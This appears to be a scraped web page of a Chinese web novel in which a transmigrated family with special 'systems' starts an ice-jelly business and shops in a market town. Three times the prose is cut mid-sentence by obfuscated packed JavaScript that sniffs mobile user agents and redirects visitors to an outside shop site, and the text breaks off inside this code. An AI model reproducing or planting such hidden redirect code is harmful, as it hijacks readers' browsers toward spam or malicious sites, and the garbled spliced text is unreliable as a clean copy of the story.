“啊啊啊啊啊!什么破烂王!”赵宁宁捂住脸,“怎么回事!什么是捡破烂系统!” 她飞快把地上的东西全塞回黑色垃圾袋里,拿起来闪身出了空间。 “快快!”宁爸高兴地过来拉闺女小手,“宁宁,刚才你进去之后我们几个试着触发了一下,我们也有那什么金手指!” “对呀!宁宁,咱们家这下不愁了!”宁妈乐呵,见女儿手里还提这个眼熟的袋子,指着问:“这难道是……” “昨天丢的垃圾?”宁爸惊喜。 “是的!”赵宁宁给出肯定回答,打开给他们看了一眼,想到自己金手指的名字,赵宁宁无奈说:“我的金手指是捡破烂系统,唉,我哪里爱捡破烂了,怎么给我安了个这个系统……” “那不是正常。”宁妈一边翻看着红豆和百合,一边往小陶锅里倒,顺便把里面坏掉的地方挑出来。 “你前几天不还去要人家楼下新搬来那家邻居家的大纸壳子,收废品的都惊呆了。”宁妈说。 “我那是!”赵宁宁无法反驳,“我那是学网上改造房间呢……” 新家的房间巨大,赵宁宁屋里有个空余的角落,她前段时间在网上刷到用纸盒做城堡的视频心里可痒痒了,无奈家里搬家时换新的冰箱洗衣机的纸盒都丢了,刚好看到楼下在搬家,赵宁宁就厚着脸皮去问了。 “别说我了,你们的是什么金手指?”赵宁宁转移话题。 “我是‘钓鱼佬从不空军’的技能,说是能从任意钓点钓任意东西,不能指定。”宁爸双手做出一个起竿的姿势,“刚才我在赵家钓点钓到了一文钱。” “我是普通的空间。”宁妈翻手,手心立马出现一枚铜钱,她解释道:“名字叫‘挤一挤还能放得下’,可以升级,现在里面只有0.1立方米。” 宁爸连忙补充到:“我那个也是,可以升级,现在三天才能钓一次。” 轮到赵启,赵启站起来,把刚刚修复好的瘸腿小板凳展示出来:“我的是‘修一修还能用’,三天一次,可以升级,能修复东西。” 听到这个消息,赵宁宁眼都亮了,“妈妈妈!快点把那个拿出来!” 这那的,谁能听懂?但宁妈不但懂女儿在说些什么,直接把花瓶从旧秋衣里给拿了出来,放在地上。 赵宁宁拉着他哥,激动得不行,“你试一下。” 赵启伸手点点花瓶,他面前弹出一个面板: 【系统提示:修复技能冷却中,请稍后再试。】 “应该可以修,技能在冷却,但要等三天之后才能试。”赵启回答。 “啊——”赵宁宁失望,她们家丢的这个花瓶是瓷花瓶,可是她们家去景德镇旅游的时候在店里买的,如果能修好卖出去,就有钱给爸爸治腿了。 似乎是看出女儿在想什么,宁爸安慰她:“没事儿宁宁,三天之后就能修复好了,能等。” “再说,咱们也可以想其他办法挣钱!”宁妈安慰赵宁宁,“咱们一家四口都有金手指,那挣起钱来不得风生水起的啊?来,给妈笑一个。” 赵宁宁冲着宁妈笑笑,想起自己还没使用技能,她说:“我的技能还没用呢!” “就是我的是捡破烂……可能是咱家里最没用的技能。”想到这里,赵宁宁低落几分。 旁边三个亲人沉默下去,片刻后,赵启面色凝重,郑重承诺道:“没事,以后我养小妹。” “什么你养我养的。”宁爸叹息,摸了摸儿子脑瓜,“没事,咱们一家四口能健健康……能整整齐齐站在这里已经是最幸运的事了,我们几个人有手有脑瓜的,肯定能顺利在这里生活下去的。” 宁妈没说话,只是跟着拍了拍赵宁宁的肩膀,以示安慰。 老爸爱钓鱼,所以金手指跟钓鱼有关系;老妈喜欢囤各种东西,家里六室两厅,打的收纳柜全被她塞得满满的还硬往里面又挤进去了一袋子卫生纸;老哥喜欢做手工,家里有全套的工具,甚至他最近开始玩电焊,家里还特意在工具间给他装了排风系统,所以他的金手指叫修一修还能用倒也说得过去。 只有自己……唉!赵宁宁在心里叹了口气,认命地唤出系统。 系统很贴心的配备了地图功能,其他地方一大块都是灰色的,只有一个地方是亮着的,且有一个刺眼的小红点。赵宁宁戳戳,地图打开,新苑小区的俯瞰图映入眼帘。 新苑小区就是她现代的家所在小区的名称。 刚才就是捡了垃圾就解锁了这个区域,赵宁宁好奇地翻动着地图,新苑小区这个区域大部分也是灰色的,只有自家楼栋是亮着的。再点开楼栋,上面显示着【可探索】几个字。 赵宁宁把看见的面板内容说了出来,宁妈鼓励她点击探索。 手指移到【可探索】上面,赵宁宁按下,紧接着系统又弹出来提示【探索完毕,收获垃圾:0】 赵宁宁满头黑线。 这年头连捡垃圾都捡不到,还怎么当大周破烂王?! “妈……点了探索捡到了0个垃圾!这个系统怎么玩我!”赵宁宁找妈告状。 “你别急,你忘了,咱们小区有垃圾分类的,只有晚上和早上丢垃圾,这会垃圾应该已经被拉走了。”宁妈说:“你晚上再试。” “好吧……”赵宁宁叉掉面板,又闪回家门口探索。 这下,除了一堆鞋和鞋架上的那盆绿萝,别无所获。 赵宁宁没拿绿萝出来,只是跟爸妈说了一下,又挨个拉着家里人的手试图往空间带,一律被系统提示面板挡住了。 全都是没有权限。 ——嗯,没有权限总比禁止进入的好,说不准以后捡捡垃圾升升级就有权限了呢! 赵宁宁乐观地想。 宁妈让赵宁宁先把破花瓶和秋衣先放回家门口的鞋柜上。 早上只混了一个水饱,上午吵一上午架还挨了打,这会闲下来,两个大人只觉得脸疼浑身疼,宁妈忍着疼,指挥宁爸拿点分出来的细柴先把两只鸡给圈起来省得在屋里乱跑,又端着小陶锅出门。 中午就只能先喝点红豆百合粥凑合一下了。 宁妈端着陶锅去灶房舀水,谁想到灶房门直接被上了一把大锁,不用想,这肯定是大嫂干的。 这下连干净的水都没法用,宁妈端着锅回房,喊宁爸一起去河边。 到河边,两个大人都惊呆了,没想到看起来一百多米宽的大河,干涸的只剩下中间半米宽,河床高高的,河底晒干的烂泥散发出一股难闻的腥味。 宁妈顺着村里人踩出来的小路,去河底看了看,还好河中央这股小溪流里的水还算干净,宁爸蹲下把碗筷洗干净,又把锅给洗净装了一锅水,这才端着回家。 把水烧上,宁爸这才小声说:“这天气干旱到这种程度,怕是不太好。” 宁妈想起之前看过的种田小说,有那种天灾逃荒的,开端就是这样,一直干旱,旱到最后只能举家迁徙,去找能活下去的地方,再定居。 说起来,老赵家就是从其他地方逃荒来的,当时的祖先就是拖家带口上阵,到王李村只剩下四口人,后面经历了百年,到赵老头这代,才算稍微富余一点。 没想到,眼下年景又开始难过起来。 把心里想的说了出来,宁妈说:“都穿越过来了,肯定没那么简单,咱们得提前准备了,万一真得逃荒,咱全家齐上阵,一起在这大周朝平平安安的活下去。” “嗯!”赵宁宁小手握住妈妈的手,把脸贴上去,“有妈在,我什么都不怕!” “那爸呢?”宁爸凑过去,赵宁宁笑嘻嘻地拉着爸爸的手,“咱全家都在一起呢,我什么都不怕!” 水烧开,宁妈把粥煮上,为了饱腹还往里加了一碗粗粮。那粗粮里有掺着麸皮的面,还混着糙米,煮熟之后原汁原味的粗粮香味飘满了整间屋子。 分成四碗,几人小心地边吹边喝。 这具身体的肚子里好久没有这么安逸过,喝完粥,宁爸都感觉脸上都没那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229729|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么疼了。 下午宁爸还要去县城办户籍,宁妈安排赵启去河边打一锅水回来,赵宁宁随着自己打扫一下屋子。 赵启一边走,一边打量着村子。 连日的干旱,村里田埂边上的野草都旱得枯黄,犁过的地经太阳一晒,干得直接裂开。 也不知道地里面种没种东西。 打完水他就回去了,家里已经被收拾好,薄薄的被褥被叠放在床尾,打了补丁的床单也铺得平平整整的。 分家的时候分得的柴火,还散在地上,赵宁宁正一个一个地往墙边码。 赵启搬来家里唯二的板凳坐在妹妹旁边,帮着一起码。 宁妈让宁宁把剩下的红豆和百合放回空间,把房门打开,在泥炉里填柴,把水烧上。 路过的大嫂瞥了几眼,见锅里什么都没有,冷哼着端着鸡食盆往屋后去了。 柴火整理完,赵宁宁和赵启主动要求去多搞点柴火回来,宁妈看天气,正是一天里最热的时候,按住俩孩子,约莫着下午三点过了,这才放他们出去。 走到山下,见没人,赵宁宁从地上捡了一根长长的树杈子,拿着树杈子往树林里落的干树枝上点,凡是挨着树杈的全被她收进空间——也就是家门口的空地上了。 赵启则是帮她看着点人,顺便看看地里有没有能挖的野菜,家里还有两只鸡要喂呢! 干旱的天气什么都缺,唯独不缺干柴,满山都是,赵宁宁在山边寻摸了两个多小时,空间差不多装满了,这才收手,挨个从地上捡了一点细软的引火柴,跟哥哥一起抱着往家里走。 两人刚回家,出门去县城的几个人都回来了。 宁爸从怀里掏出盖好县衙大章的户籍和地契,连同分家文书和断亲书一同塞给赵宁宁,让她先放进家里的鞋柜抽屉里。 赵宁宁应声,回去把电梯口的柴火全搬出来,珍而重之地把这些文件放进鞋柜抽屉里。 刚放完,电梯口“叮”地响了一声,赵宁宁一愣,往电梯口看过去时却只看到了一个冷冰冰的电梯门,但是家门口的地上,却多了几个箱子。 是快递!家里快递一般就是这个时间点送来的! 赵宁宁欢呼一声,去看地上的箱子,收件人全是自己,看包装,是前段时间自己看网红博主搓冰粉吃,馋得她立马下单了橱窗里挂的手搓冰粉套装。 这一大箱,怎么也能搓出来个几百碗冰粉,赵宁宁喜滋滋地抱着快递出去,把东西展示给自家人看。 “哎呦,那这样说,我前些日子买的纸……”宁妈惊喜地捂住嘴,“还有新买的一袋米和面,还有洗洁精洗衣液,等快递到了,我们就能收到?!” 没想到,宁宁的空间还能联系到外界! “应该是,咱们只要捱过这几日,就能吃到大米,吃到面了!”赵宁宁乐得蹦了起来,刚蹦没两下就虚弱地开始喘气,“不行,这身体还是太弱了。” “我买的还有成年人钙片,本来是跟你爸预防着吃的,现在看来,等快递到了咱们全家都吃吧。”宁妈摸摸女儿的头,干枯稀疏的头发扎起来只有可怜的两个小揪揪。 被揪痛的赵宁宁一模脑袋,感受到这点发量,惊道:“我的头发!” 赵启难得开口安慰妹妹:“反正慢慢来补,总能补回去的。” 宁爸叹气:“慢不来了。” 三个人望向他。 宁爸说:“今天下午跟里正去县衙,里正他们办完文书之后还有事要办,我们几个人等了一会,回家路上里正就说了,今年粮税要涨。” “这事估计明天就会通知到村里。” “还好分家了,两亩地的粮税怎么也能凑齐给交了。”宁妈撇嘴,“老大跟老三他们两家估计就要闹了。” 那可不,老大家分家得到的地最多,钱最少,老三拿了八两银子,地分得又少,等补粮税的时候,老三家的钱是够补的,老大家就捉襟见肘了。 他们再闹,也跟自家又穷又没田的人没关系,宁妈叮嘱好宁宁,最近不要自己一个人出门,生怕老大家直接把宁宁给**卖给孙家。 第5章 搓冰粉 晚上宁妈把分来的粗粮舀出来一点混和红豆一起给煮了,一家四口各自抱着碗坐在床边喝下,宁爸满脸苦涩:“这穿越简直太考验我们的意志力了。” “就当是忆苦思甜了!”宁妈安慰大家道:“还好分家分了个彻底,之后咱们一家四口拧成一股劲,多动动脑,总能吃香喝辣的。” “这不是有冰粉籽,等明天一早我就研究一下怎么做,咱们带出去卖掉,肯定能挣到钱的!”赵宁宁举手,“后面还有快递,过个两三天,咱们就能吃上白面了,老爸你坚持一下。” 宁爸乐端着碗,呵地笑道:“行,爸坚持一下。” 四人飞速吃完饭,洗漱完毕各自在床上躺下,因着天热,不盖被子还有些闷得慌,赵宁宁回家把鞋柜里的鞋盒盖子掰下来几个,分给哥哥和爸妈当扇子用。 夸赞完女儿机灵,宁妈一边打扇一边安排着明天家里的活计。 暮色四合,外面的吵闹声渐渐消停,宁妈估摸着时间差不多了,摇摇昏昏欲睡的赵宁宁,让她使用一下金手指。 赵宁宁抹了把脸,唤出系统的地图,开始第一次捡垃圾。 【系统:探索完毕!捡到垃圾一袋,是否现在打开?是/否】 赵宁宁随着这声提示,立马变得精神起来,小声把这个消息分享给家里人之后,宁妈让她回家门口打开。 家门口有自动感应灯可以看清楚东西,这里黑漆漆的,分家连根蜡烛都没分到,什么都看不到。 等不了明天再拆,赵宁宁闪回家门口,点击【是】。 下一秒,眼前白光一闪,赵宁宁眼前出现一个半人高的大编织袋,她先围着转了一圈,小心凑近没有闻到异味之后,这才伸手打开。 里面是一些建筑垃圾,有敲碎的砖块,还有一个装水泥灰的小桶,还有一个边缘碎掉的红色塑料桶。 应该是小区里在装修的人家清理出来的垃圾,赵宁宁拿着两个桶闪出空间,摆在地上。 “爸妈,哥,这是我捡到的垃圾。” 见宁宁从空间里出来,几个人忍不住凑过去,无奈屋里实在是太暗了,赵启只能问她:“什么样的桶?” “太好了,刚才还想着明天要去买个桶用呢,这下直接有了。”宁爸赞道。 赵宁宁给大家伙描述:“人家盖房子拌水泥灰用的那种塑胶软桶,另一个是大红塑料桶,塑料桶的边缘碎了一块,这两个桶应该都是装修房子用的。” “那只能装生活用水了,不能装吃的水,老赵,你明天还是得去村里打听打听,看看哪里能买个木桶回来装吃的水用。” “行吧。”宁爸咂吧咂吧嘴,“宁宁这个捡垃圾金手指还挺实用的,咱们一家四口的金手指,可都不能轻易在外面用,不然被发现了可不是件小事。” 宁妈想到赵宁宁用树杈子往空间里捡柴火的事,着重叮嘱了她一遍,让她在外面收敛一点。 虽然穿越到古代,一家四口还能在一起,还各有各的金手指,生活也不是没有指望。赵宁宁把两个桶挨着墙边一放,回到床上幸福地挨着亲妈睡下。 第二天一早,四个人都睡到天大亮才起床。 宁爸和宁妈昨天挨了打,眼下有没有药处理,脸上和身上的淤青渐渐浮现出来,看上去有些吓人。 赵宁宁轻轻碰了一下亲妈脸上的淤青,心疼的不行。 “行了,也没破皮没流血的,过几天淤青自己就下去了。”宁妈哭笑不得地挪开贴心小棉袄的手,“你今天好好研究一下冰粉的事儿,等挣到钱了想给妈买啥都行。” 赵宁宁这才挪开手,先把两个桶给家里人展示了一遍之后,连着鞋盒盖子一起收回空间放好,一家四口这才一起端着陶锅去河边洗漱。 出门的时候撞见老大一家子,还被嘲笑了一顿懒鬼。 家都分完了,宁妈不像昨天那样装着忍声吞气,直接翻了个白眼拉着儿女走了,刚洗漱完回家,村里铛铛铛敲起锣来,宁爸放下锅说:“估计是粮税的事。” “你们俩去听听村里动向,顺便打听买木桶,我们俩在家研究冰粉。”宁妈安排好人手,带着宁宁在屋里闩好门,让宁宁把快递拿出来。 赵宁宁麻溜地从空间里把几个快递都拆开,里面是分装好一小袋一小袋的冰粉籽,商家还给配好了石灰,也是一小包一小包的,一份能搓出来一大盆,怕买家不会做,商家还贴心给了纸质版的说明书。 再拆另一个快递,里面是赵宁宁给冰粉买的配料,山楂葡萄干红豆粒等全买了,因为懒得自己煮红糖糖浆,她还买的有浓缩糖浆,可以说只要能搓出来冰粉,这些配料直接往上面一撒就能摆摊卖了。 家里只有一个锅,赵宁宁先烧上一锅水,水开之后倒出来一点放凉待会好泡石灰水。接着等剩下的水放凉之后,把冰粉放进商家送的纱袋里连同纱袋一起洗净泡上,最后按说明书上,把石灰水泡进凉水里放一边澄清。 冰粉籽泡好之后,她攥着袋子,一点一点地用手搓开,把里面的浆液挤出来。 这是个细致活,宁妈在一边看的都有些着急了,几次问赵宁宁,赵宁宁都说还没好。 搓了十几分钟,赵宁宁觉得再搓下去也搓不出什么东西了,这才把一边的石灰水小心翼翼地倒进去,用勺子搅拌均匀,放在一边。 “这就好啦?”宁妈不可思议,“这么快?” “那可不,而且做起来还不费事,不然我才懒得做这个呢!”赵宁宁把锅端到一边晾着,“等一会完全凝固好,就能吃了,也刚好等等我哥他们回来,咱们一起吃!” “好,刚好也没吃早饭呢。”宁妈帮着把装石灰水的碗倒掉洗净,两人也没等太久,半个小时不到,宁爸就带着赵启回来了。 “热**……”宁爸一回来,先把自己碗里的凉白开喝掉,又拿衣角擦了擦汗,这才说道:“村里刚宣布说今年要多收两成粮税,村民闹起来了,都说这几年本来就是勒紧裤腰带才能活下来的,再加重粮税他们就活不下去了。” 院子里,老大和老三已经开始闹了。 “还好昨天分家了,不然还要跟那一家子捆绑在一起发愁。”宁妈庆幸,虽然挨了打欠了债,好赖自家摆脱那几个奇葩了,“不管他们,你快尝尝宁宁做的冰粉,我们可是没吃,一直在等你们回来一起吃呢!” 碗空出来,赵宁宁先给老妈盛了一碗,让她自己去加小料,又给宁爸盛了一碗,轮到老哥的时候,他碗里的凉白开还没喝完,赵宁宁冲他笑笑,催促道:“哥你喝快点,我给你多盛点。” 赵宁宁和她哥都爱吃甜食,等赵启喝完凉白开,赵宁宁直接给他盛了一大碗,加了足足的小料,一家四口拿着筷子往嘴里扒拉冰粉。 里面没有加冰块,但这么热的天吃起来也透心儿的凉爽,在这陌生的世界吃到熟悉的味道,几人吃得十分满足。 “怎么样?可以摆摊卖吗?”赵宁宁问她爸,这里面唯一去过县城见过世面的就只有他了。 “应该可以。”宁爸一边咂嘴一边回想昨天去县里盖章时的所见所闻,复述道:“城里有卖类似的小汤圆和小甜水的,汤圆我记得他们吆喝的是五文一碗六个汤圆,小甜水是两文,大都是加了糖的绿豆汤。” “素包子两文一个,这还是涨价之后的价格,之前年景好的时候,包子一文一个。”宁爸补充。 “咱们冰粉卖可以卖五文一碗。”宁妈分析:“绿豆汤做法简单,豆子价格又不高且没什么技术含量,在县城卖两文还能有人买呢。” “咱们的定位跟汤圆差不多,汤圆要用糯米做,糯米、芝麻、糖的成本都不低。咱们是冰粉籽,一小包搓出来的差不多有十碗,主要贵在加进去的小料:葡萄干、红豆、糖浆,这几个成本也都不低,也是咱们的卖点。” 赵宁宁惊讶地张大嘴,她还说啥呀,她的亲妈直接给分析完了。 宁爸发愁:“就是去县城路程远,如果做镇子的生意的话,近一点,但销量可能没有那么高。” “做!做的就是县城生意,反正冰粉带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229730|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来也不麻烦,实在不行还能随时带点冰粉籽过去现搓,都做生意了,肯定是去销量好的地方卖。”宁妈说:“在镇上卖的话容易碰见老赵家的人。” 这话一出,几个人都沉默了。 赵老三的媳妇家里就是镇上的,赵家大金孙想娶的那个曹家姑娘也是镇上的,这几个人就是定时**,要么直接碰上他们,要么会碰到他们认识的人。 “那还是去县城吧,起码去县城离衙门近,他们几个**就赶紧报警……报官。”宁妈敲定买卖地点,又问道:“木桶的事你们俩打听好了吗?” 宁爸:“打听好了,在镇上杂货店就有卖的,一个普通的大桶80文,小桶60文。” 回想了一遍家里现有的资产,宁妈道:“现在要做冰粉籽生意,买两大两小共四个桶,要带盖子的,还要再买些碗和勺子。” 赵宁宁提醒:“妈,别忘了还有装小料的东西。” “买那种粗瓷罐子,带盖子又好储存,还得再买个箩筐……”宁爸算来算去,这个生意一旦做起来起码要扔个三四百文进去,不过还好,起步阶段用的冰粉籽和小料都是赵宁宁之前买的,都是无本生意。 这两大箱的冰粉籽,起码也能搓出来个两千碗出来,到时候卖完,再想别的办法。 宁妈盘算道:“生意做起来稳定了就我和宁宁去跑,小启去山上找找,不知道古代有没有冰粉籽,实在没有的话咱们留几包当种子,到时候直接连种子带做法卖出去。” 宁妈就像定心丸一样,随着她的指挥,剩下三个大的小的全都定下心来,摩拳擦掌地准备着大干一场。 下午还要等天凉了才能去镇上,赵宁宁正准备招呼大家把剩下的冰粉吃掉,门外的院子里突然开始吵嚷起来。 赵宁宁第一想法就是去看看怎么个事儿,刚出去,被宁妈一把拉住,“咱在屋里听听就行,别出去掺和。” “想在这里好好活下去,第一要义就是‘苟’。”宁爸分享心得。 于是一家四口,紧紧挨着家里唯一的一扇窗户,听院子里的动静。 赵家院内。 长房的孙氏和三房的吴氏扭打在一起。 “住手!你们都住手!”闻声而来的钱婆子气得要命,早上刚吵完一场,眼下村里人都还盯着赵家,二房的消停下来,两个儿媳又打了起来。 这是造什么孽哟! 钱婆子伸手拦了拦,刚扶着孙氏的肩膀想把两人分开,一阵掌风扇过,她差点被孙氏一巴掌拍在脸上!钱婆子扭头躲过去,气道:“孙氏!吴氏!你们两个住手!” 一嗓子下去,两个儿媳倒是停下来了,只是手还互相掐着,嘴里也在不停地骂。 孙氏:“**!得了便宜还卖乖!别以为我不知道你跟老三平日里歪缠着娘天天要银子花!” “你说什么呢!那是我陪嫁的银子!”吴氏被掐到腰肉,哎呦一声大喊:“铁宝——” 话还没说完,孙氏一把掐住吴氏的发髻,两只手狠厉地一甩,孙氏鬓边的头发都被揪掉一撮。 低头看到精心养了多年的头发被扯掉一大缕,再抬头吴氏眼都红了,她像豹子一样朝孙氏冲过去,直接把人给撞翻还不够,左右寻摸找到一块石头,抓着就要往孙氏头上砸。 “住手!住手!”钱婆子吓破了胆,忙扑过去紧紧抓住小儿媳的手腕制止她,“孙氏,你先起来。” “我不起!上次我跟铁宝前脚刚出去赶集,后脚她就把我家六丫头花给抢走了!别以为我不知道是你干的!”吴氏呸了一声,继续说道:“还有上次,你男人从外面偷摸买了饴糖回来,你可是一口都没分给大家伙吃!” “你这个满嘴喷粪的女人!”孙氏抓住地上的土就要往吴氏嘴里塞。 “啪!”“啪!” 钱婆子给了她们两个巴掌。 院子里总算静下来,钱婆子见两人分开,怒道:“给你脸了!说还不听,非得吃个巴掌才能晃掉你脑子里的水。” 这时候,院外的男人们才姗姗来迟。 第6章 镇上 吴氏刚要张嘴,见男人打外面回来,两颊立马挂上了两行清泪,她丢掉石头,快步走过去伏在男人的肩头,呜呜哭着说:“铁宝……我不过了!大嫂她打我……” 赵铁宝拍拍媳妇儿的肩膀,安慰道:“怎么回事?待会你跟我说。” 为什么是待会再说,因为眼下还有一件更重要的事要讲。 刚才两个女人回家走得快,只听到了个“涨粮税”便走了,并未细听。 赵铁宝可是跟在自家亲爹后面听了个完全的,税收按人头来算,每丁要征收两石粮食! 去岁收成不好,涨到一石已经让很多人家勒紧腰带才能活下去,涨到两石……赵铁宝简直不敢深想。 赵家去年一年四十亩地才收了七十石的粮,扣除一家的丁税十石之后,换了许多粗粮,加上野菜才勉强过活到今日。 今年的粮税比去年多了一倍,怕是……难过了。 这会子,赵铁宝开始庆幸,还好自己没闹着分家,这些粮食还能从公中出。 前院又吵嚷了一会才消停,好歹这次没人打架,赵宁宁听完把窗户放下来关严实,小声问爸妈:“咱们家要出多少粮食?” 宁爸比了个耶,说:“两石一个人,具体两石多少,还要看这里是怎么计量的。” “一个人是两石,大约一百二十多公斤粮食,咱们家只有爸妈要交,要交差两百四十公斤。”赵启补充。 他之所以知道这么详细,是因为之前老赵家还有钱让赵铁宝和赵文远上私塾的时候,原主偷偷跟过去,在窗边偷听过一段时间。 赵启小声说了这事儿,然后问:“家里分的那两亩地收上来的粮食不知道够不够?” 一想到那两亩干裂的田上面瘪瘪的谷子,四个人俱是沉默不语。 “得。”赵宁宁扶额,“还是得赚钱。” 眼看着就要收粮了,收完粮没几天就要交粮税,全家人得赶紧行动起来去赚钱。几个人啥也不说了,收拾妥当之后,腿还伤着的宁爸被安排留在家里休息,宁妈则是带着两个孩子去镇上。 热就热点,做生意的事可不能再耽搁下去了。 离王李村最近的镇子要走八里地,走到一半的时候,赵宁宁小身板实在是受不住,宁妈选了一个阴凉地停下,三人这才坐下歇歇。 看大路左右无人,赵宁宁从空间掏出来临走前特意装好冰粉的碗,一人一碗塞过去。 “还好宁宁聪明。”宁妈赞了一句,拿着筷子扒拉几口,碗放在赵宁宁的空间里吃起来似乎更凉一点,几口下去,直接将身上大半的燥意扫除。 赵宁宁累得都没力气说话了,也可能是饿的,她完全是靠意志力才支撑着才走了这么远的路,给妈妈和哥哥分完冰粉之后,她自己端着碗边,慢慢吃下冰粉。 片刻后,三人歇息得差不多。 吃完冰粉,赵启把碗还给妹妹,“咱们刚才差不多走了一半的路了,这里离镇子不远了,加油!” 赵宁宁握紧拳头,无力地冲他摆了一个加油的姿势。把空碗收回空间,三人继续前行,终于在中午之前,走到了石桥镇。 石桥镇作为紧邻县城的小镇,要比其他镇子繁华一些。此时是中午,镇上主街道两边还有不少摊子,宁妈带着孩子,在一家卖糖水的铺子前停下,买了三碗糖水,又去隔壁卖炊饼的摊子上炊饼。 糖水的摊位有桌椅,赵宁宁刚坐下,摊主小娘子就盛好了糖水,挨个给端来,赵宁宁接过来用勺子舀起来喝了一口,甜丝丝的。 借着头顶油纸伞的阴凉,她不住地用手扇扇子。 ——待会必须要买一把大蒲扇才行,这天气快把人给热坏了! “来,吃点饼。”宁妈把手里刚出炉的面饼拿过来,赵宁宁和赵启乖巧接过,一口饼一口绿豆汤,空荡荡的肚子很快被食物安抚下来。 宁妈吃的比两个孩子快,趁这个空挡,她问摊主娘子镇上哪家卖的桶好,小娘子给指了方向,宁妈谢过,刚好宁宁和小启都吃完了,付清铜钱之后,宁妈扎紧钱袋,带孩子大采购。 带盖的木桶要八十八文一个,小桶要六十六文,宁妈看着挺结实,咬牙买了两大两小,这是日常生活缺不了的东西,就算是之后不做生意,自家也要用。 杂货店里还卖粗瓷碗,干脆也在这里买了,一个碗就要四文钱,宁妈买了二十个,又配套买了二十个瓷勺。 瞧着这里有装猪油的带盖红泥小罐子,赵宁宁扯扯宁妈的衣角,问好价格之后要了八个。 这些加起来,拢共花了三百三十八文,钱袋子顿时空了一大半。 杂货店里虽有大蒲扇,赵宁宁却舍不得再买下去了,剩下的钱还要留着应急呢!还有老爸的腿,攒点钱得赶紧治疗。 杂货铺的伙计帮忙把碗摆进木桶里,又帮衬着塞了些稻草进去固定,宁妈提起来晃晃,确定里面的碗不会摇晃后,脸上扬起和善的笑容对伙计道了谢,带着孩子往外走。 天色还很早,还有箩筐没有买,如果可以,宁妈还想着再买一个小铁锅,家里就一个陶锅,不太好用。 去铁铺问了价钱,宁妈彻底打消买锅的念头——铁锅太贵了! 一个锅就要一两银子,眼下的钱还要紧着别的东西买,三人一起去油盐铺子买了一小罐菜籽油和一小罐盐。 刚从油盐铺子刚走出去没多远,三人就幸运地碰见一个摆摊卖箩筐的老头。 老头背靠着巷子口的墙,过了中午之后,日头微微偏西,他就借着墙角的阴凉坐着,手里还不住地拿藤条编着东西,他的面前摆了几个大小不一的箩筐。 瞧着还不错,宁妈走上前,把手里的东西放下,弯腰去看最大的那个箩筐,问道:“老伯,这箩筐怎么卖?” 老人抬头,热情地招呼:“十八文一个,你要诚心想要,三十文给你俩!” “老爷爷,我们当然是诚心想要的呀。”赵宁宁把手里的小木桶放下,“我娘就是看着您手艺好,这才特意折过来买您家的箩筐的!” “是呀老伯,刚刚在杂货店里我买了一堆东西都没买箩筐,专门过来你这里买呢。”宁妈趁机砍价:“十五文一个,我直接带一个回家!” 老伯愣住,随机叹了口气,在这儿摆一上午了,一个光顾的人都没有,想想家里的小孙子闹着想吃糖闹一上午了,老人家松了口:“行吧!看在你面善的份儿上,十五文就十五文。” 说着,他去帮宁妈把一摞箩筐分开,让宁妈自己挑一个最合心意的。 细细掂量了一下,宁妈把两个装了东西的小木桶放进箩筐,付过铜钱之后,三个人抬着走。 走到粮铺前面,宁妈停下脚,说:“再买点粮食。” “卖粮食?”赵宁宁感到奇怪,“妈……娘,咱们过两天不是有那个粮食吗?” 再过两天,快递就能到了。 “那也要少买一点,总不能天天吃豆子吧。”宁妈把箩筐放到店门口有遮阴的地方,让两个孩子等着。 片刻后,宁妈凝重地从店里出来,抱着一小袋粮食放进箩筐。 等走出镇子,赵启才问:“妈,刚才在粮店里怎么了?” 宁妈叹了口气,说:“粮食在涨价。” 按照原主记忆,两百文买的细粮够一家四口省着吃半个月了,眼下同样的价格,却只能买到够吃一周粮食。 “还好咱家在网上买的还有吃的,但这不是长久之计,粮铺的伙计跟我说,这价格是涨过好几轮的,以后恐怕还会再涨,咱家得赶紧赚钱囤点粮食,这势头可不对劲。”宁妈看看路上没有路人,停下脚步走到一边,让赵宁宁把东西都收到空间里去。 ——照这样下去,荒年直接变成灾年,那恐怕还要离开王李村,去别处逃荒。 下午气温没有正午那样高,三人匆匆赶路,路上只歇了一会,快到村子的时候,宁妈让赵宁宁把空桶和箩筐拿出来,跟赵启一起抬着回去。 宁爸中午自己煮了红豆汤吃,吃完他还给外出的老婆孩子煮了一锅开水晾着,想着几个人回家刚好能喝。 三人回去的时候,他正坐在床尾劈柴火,因为腿瘸了,他只能劈几个起身去捡劈飞出去的柴火,将柴火收好之后,再回去劈。 如此周而复始,屋内已经有一小堆这样劈好的柴火整齐放着。 三人看得心里不是滋味极了。 赵启快步上前,丝滑夺过老爸手里的柴刀,让他在一边歇着。 “你们回来啦?”宁爸拿袖子擦擦额头上的汗,“锅里有凉白开,你们都买什么了?” 宁妈给他展示了一番去镇上买的东西,末了,从箩筐最底下拿出那袋粮食。 “粮价涨了两波了,去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 